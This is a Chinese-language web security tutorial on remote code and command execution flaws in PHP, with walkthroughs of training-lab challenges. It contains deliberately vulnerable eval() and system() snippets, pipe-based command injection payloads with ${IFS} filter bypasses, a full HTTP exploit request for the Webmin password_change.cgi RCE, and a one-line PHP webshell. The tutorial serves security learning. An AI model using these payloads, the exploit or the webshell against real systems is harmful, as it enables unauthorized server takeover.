WEB安全-RCE代码及命令执行漏洞

WEB安全-RCE代码及命令执行漏洞

  • 摘要
  • RCE概述
  • 远程代码执行
    • eval()
    • 案例
  • 远程命令执行
    • system()
    • shell_exec() 与 exec()
    • 案例
  • 靶场案例
    • 墨者靶场黑盒功能点命令执行-应用功能
    • 墨者靶场白盒代码及命令执行-代码分析
    • 墨者靶场黑盒层 RCE 漏洞检测-公开漏洞

摘要

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

WEB安全-RCE代码及命令执行漏洞_第1张图片

RCE概述

RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

eval()

eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

案例

靶场:bikachu

if(isset($_POST['submit']) && $_POST['txt'] != null){
     
    if(@!eval($_POST['txt'])){
     
        $html.="

你喜欢的字符还挺奇怪的!

"
; } }

WEB安全-RCE代码及命令执行漏洞_第2张图片
效果:
WEB安全-RCE代码及命令执行漏洞_第3张图片

远程命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器,现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。

system()

执行外部程序,并且显示输出

$code=$_GET['x'];
echo system($code)         //x=ipconfig   x=ver x=cd

shell_exec() 与 exec()

php中shell_exec() 与 exec()函数的区别

案例

靶场:bikachu
ping 127.0.0.1
WEB安全-RCE代码及命令执行漏洞_第4张图片
利用管道符|输出别的内容
cd是查看当前目录文件夹名
WEB安全-RCE代码及命令执行漏洞_第5张图片

靶场案例

墨者靶场黑盒功能点命令执行-应用功能

靶场:命令注入执行分析
可执行ping命令
WEB安全-RCE代码及命令执行漏洞_第6张图片
输入命令 127.0.0.1|ls
WEB安全-RCE代码及命令执行漏洞_第7张图片
禁用本地js
WEB安全-RCE代码及命令执行漏洞_第8张图片
输入 127.0.0.1|cat key_296172863019530.php
不回显,考虑绕过空格
linux绕过空格

cat flag.txt
cat${
     IFS}flag.txt
cat$<flag.txt
cat$<>flag.txt

输入命令127.0.0.1|cat WEB安全-RCE代码及命令执行漏洞_第9张图片
得到flag,成功!

墨者靶场白盒代码及命令执行-代码分析

Linux ls 命令
Linux ls(英文全拼:list files)命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。

Linux cat 命令
cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。

Linux tac 命令
tac命令就是将文件反向输出,刚好和cat输出相反。

Linux echo 命令
echo命令是一个内置在Bash中的shell,通常用于shell脚本中以显示消息或输出其他命令的结果。

靶场:PHP代码分析溯源
页面显示如下
WEB安全-RCE代码及命令执行漏洞_第10张图片
将此php放入php运行下
WEB安全-RCE代码及命令执行漏洞_第11张图片

可以知道,传递方式为request,参数为a

?a=ls

WEB安全-RCE代码及命令执行漏洞_第12张图片
传递参数

?a=tac<key_238041834025406.php

WEB安全-RCE代码及命令执行漏洞_第13张图片
得到flag,成功

墨者靶场黑盒层 RCE 漏洞检测-公开漏洞

靶场:Webmin未经身份验证的远程代码执行
WEB安全-RCE代码及命令执行漏洞_第14张图片
搜索webmin,存在代码执行漏洞WEB安全-RCE代码及命令执行漏洞_第15张图片
exp

POST /password_change.cgi HTTP/1.1
Host: 219.153.49.228:41273
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://219.153.49.228:41273/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache

user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2

修改对应的部分,进行发包
WEB安全-RCE代码及命令执行漏洞_第16张图片
修改为ls /WEB安全-RCE代码及命令执行漏洞_第17张图片

成功
WEB安全-RCE代码及命令执行漏洞_第18张图片
一句话 Webshell 后门原理代码执行-拓展说明
将一句话木马

<?php
eval($_POST['x']);
>

然后利用中国菜刀连接此脚本即可

WEB安全-RCE代码及命令执行漏洞_第19张图片
在这里插入图片描述

你可能感兴趣的:(WEB安全-RCE代码及命令执行漏洞)